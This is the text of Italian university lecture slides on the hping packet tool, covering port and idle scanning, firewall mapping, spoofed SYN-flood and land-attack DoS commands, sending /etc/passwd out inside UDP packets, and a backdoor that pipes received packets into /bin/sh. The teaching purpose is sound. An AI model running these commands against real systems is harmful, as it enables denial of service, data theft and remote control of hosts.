handouts

Transcript

handouts
Introduzione ad hping
Andrea Lanzi, Davide Marrone, Roberto Paleari
Università degli Studi di Milano
Facoltà di Scienze Matematiche, Fisiche e Naturali
Corso di Laurea in Informatica
10 gennaio 2007
Sommario
1 Funzionalità hping2
2 scanning servizi di rete
3 Firewall mapping
4 hping come tool DoS
5 Trasferimento file via ICMP, UDP, TCP
6 hping come Trojan
Introduzione hping
Caratteristiche del tool
hping è un network tool capace sia di creare pacchetti di rete
sia di sniffare pacchetti.
hping gestisce la frammentazione, gestisce pacchetti di
grandezza arbitraria e l’incapsulamento di protocolli.
È portabile su molte architetture UNIX-like: Linux, FreeBSD,
NetBSD, OpenBSD, Solaris, MacOs X.
È stato creato e sviluppato da un Italiano Salvatore Sanfilippo
a.k.a antirez.
Funzionalità dello strumento hping
Funzionalità hping
testing di Firewall.
tecnica di scanning avanzata.
test delle reti , utilizzando diversi protocolli, TOS,
frammentazione.
path MTU discovery manuale.
traceroute avanzato, con supporto a tutti i protocolli.
Remote OS fingerprinting.
Remote uptime guessing.
TCP/IP stack auditing.
strumento didattico per la comprensione dei protocolli di rete.
hping come scanner (1)
L’attività di scanning del sistema permette ad un attaccante di
reperire informazioni su quali porte (servizi di rete) sono aperti o
filtrati sull’host vittima. Esempio di Syn scan
# hping -S idea.sec.dico.unimi.it -p 80
HPING idea.sec.dico.unimi.it (ppp0 159.149.155.69): ..........
len=44 ip=159.149.155.69 ttl=50 DF id=0 sport=80 flags=SA seq=0
len=44 ip=159.149.155.69 ttl=50 DF id=0 sport=80 flags=SA seq=1
.....
Se la risposta di ritorno contiene SA (syn/ack) allora la porta è
aperta, se la risposta è RA (reset/ack) allora la porta è chiusa.
hping come scanner (2)
Con hping si possono specificare tutti i flag TCP coinvolti per
poter effettuare altri tipi di stealth scan:
-F –fin imposta FIN flag
-S –syn imposta SYN flag
-R –rst imposta RST flag
-P –push imposta PUSH flag
-A –ack imposta ACK flag
-U –urg imposta URG flag
-X –xmas imposta X flag
-F –ymas imposta Y flag
hping come scanner (3)
Per poter effettuare l’attività di scanning su diverse porte della
macchina vittima tramite hping possiamo eseguire il seguente
comando:
# hping -S idea.sec.dico.unimi.it -p ++22
HPING idea.sec.dico.unimi.it (ppp0 159.149.155.69):
len=40 ip=159.149.155.69 ttl=241 DF id=0 sport=22 flags=RA seq=0
len=40 ip=159.149.155.69 ttl=241 DF id=0 sport=23 flags=RA seq=1
.....
hping come scanner (4)
Con hping si possono specificare tutti le opzioni del TCP potendo
creare tutte le tecniche di scan:
opzioni TCP
-s –baseport porta sorgente
-p –destport porta destinazione
-w –win grandezza finestra TCP
-Q –seqnum mostra numero di sequenza
-b –badcheck pachetto con checksum errato
-M –setseq imposta il numero di sequenza TCP
-L –setack imposta TCP ack
Idle scanning (1)
L’idle scan è una nuova tipologia di scanning inventata dallo stesso
autore di hping, antirez.
Ipotesi per L’Idle scan (1)
tre attori: il server vittima, una macchina chiamata ”Dumb”,
e la macchina da cui viene effettuato lo scan.
La macchina ”Dumb”, incrementa in modo sequenziale l’ID
(Identification).
La macchina ”Dumb” non deve generare altro tipo di traffico
di rete.
possibilità di effettuare lo spoofing tra la macchina server e la
macchina da cui parte lo scan.
Scenario: Idle scan
Scenario L’Idle scan
La macchina da cui parte lo scan, ”pinga” continuamente la
macchina ”Dumb”, e vede nei pacchetti di ritorno la risposta
con id incrementato di 1.
La macchina scan invia un pacchetto ”spoofato”, indirizzo
sorgente della macchina ”Dumb”, TCP con syn attivato su
una determinata porta all’host vittima.
Scenario: Idle scan (2)
Scenario L’Idle scan (2)
si possono ricevere due tipo di risposte: SYN/ACK o RST, nel
caso di RST, la macchina ”Dumb” non creerà nessun nuovo
pacchetto e cosi l’ID rimarrà uguale.
nel caso del SYN/ACK la macchina ”Dumb”, risponderà con
un RST e l’ID sarà incrementato di 1.
Comandi hping: Idle scan
Di seguito si vede la comunicazione con la macchina ”Dumb” e lo
spoofing del pacchetto inviato dall’attaccante verso la vittima:
# hping -I eth0 -SA -r 192.168.10.1
HPING 192.168.10.1 (eth0 192.168.10.1):
SA set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=R seq=0 ttl=255 id=18 win=0 ...
len=46 ip=192.168.10.1 flags=R seq=1 ttl=255 id=+1 win=0 ...
len=46 ip=192.168.10.1 flags=R seq=2 ttl=255 id=+1 win=0 ...
....
# hping -I eth0 -a 192.168.10.1 -S 192.168.10.33 -p ++20
HPING 192.168.10.33 (eth0 192.168.10.33):
S set, 40 headers + 0 data bytes
....
Comandi hping: Idle scan
La continua comunicazione con la macchina ”Dumb” mostra che
la porta 21 nel server vittima risulta nello stato open:
# hping -I eth0 -r -S 192.168.10.1 -p 2000
HPING 192.168.10.1 (eth0 192.168.10.1):
S set, 40 headers + 0 data bytes
len=46 ip=192.168.10.1 flags=RA seq=86 ttl=255 id=+1 win=0 ...
len=46 ip=192.168.10.1 flags=RA seq=87 ttl=255 id=+2 win=0 ...
(port 21)
Firewall mapping con hping
Questa tecnica è utilizzata, per poter comprendere una topologia
della rete, capire se ci sono firewall, funzionalità di traceroute.
# hping3 -z -t 1 -S idea.sec.dico.unimi.it -p 22
TTL 0 during transit from ip=192.168.200.3
3: TTL 0 during transit from ip=151.6.25.67
.......
13: TTL 0 during transit from ip=159.149.99.18
14: TTL 0 during transit from ip=159.149.129.2
16: len=40 ip=159.149.155.69 ttl=240 DF id=0 sport=22 flags=RA
seq=16 win=0 rtt=73.9 ms
Con questa tecnica si implementa il firewalking, potendo utilizzare
però tutti i protocolli.
syn attack
hping può essere usato come tool DoS per testare IDS e firewall.
Un esempio può essere syn attack. Con il seguente comando si
effettua un attacco DoS
# hping -a 192.168.200.2 -S 192.168.200.3 -p 80 -i u1000
-a –spoof hostname, setta l’indirizzo sorgente del host
-S flag syn attivato
-p porta destinazione
-i intervallo di tempo per la spedizione dei pacchetti, e.g.
u1000 (1000 microsecondi).
Land attack
Un altro esempio di DoS, come consumo di risorse del sistema si
può eseguire il seguente comando:
# hping -S -a 192.168.200.2 192.168.200.2 -p 80 -i u1000
-a –spoof hostname, setta l’indirizzo sorgente del host
-p porta destinazione
-i intervallo di tempo per la spedizione dei pacchetti, e.g.
u1000 (1000 microsecondi).
Spoofing control
hping può essere utilizzato per testare la protezione dello spoofing
su un firewall.
# hping -S -a 192.168.200.2 159.149.153.2 -p 80 -i u1000
-S flag syn attivato
-a indirizzo sorgente
-p porta destinazione
-i intervallo temporale di invio pacchetti
Trasferimento file
È inoltre possibile inserire delle signature, valori ascii all’interno del
campo dati dei pacchetti.
[host_a]
# hping2 host_b --udp -p 53 -d 100 --sign signature
--safe --file /etc/passwd
[host_b]
# hping2 host_a --listen signature --safe --udp
–sign inserisce la signature ascii nel campo data
–safe ritrasmissione dei pacchetti persi (e.g. UDP)
–file dati da trasmettere nel campo data
Quando i dati arrivano dalla parte dell’host B viene eseguito il
dump dalla signature in poi.
hping come Trojan (1)
può essere usato come backdoor, su una macchina compromessa.
Il seguente esempio è preso da un’esempio di Antirez stesso.
victim# hping -I eth0 --listen mysign | /bin/sh
evil$ telnet victim 25
Trying 192.168.1.1...
Connected to nano (192.168.1.1).
Escape character is ’^]’.
220 nano.marmoc.net ESMTP Sendmail
mysignls;
hping come Trojan(2)
Nel host vittima verrà mostrato l’output del comando
victim# hping -I eth0 -9 mysign | /bin/sh
hping2 listen mode
bin
cdrom etc
home local-home mnt
boot dev
export lib
lost+found proc
root
sbin
tmp
usr
var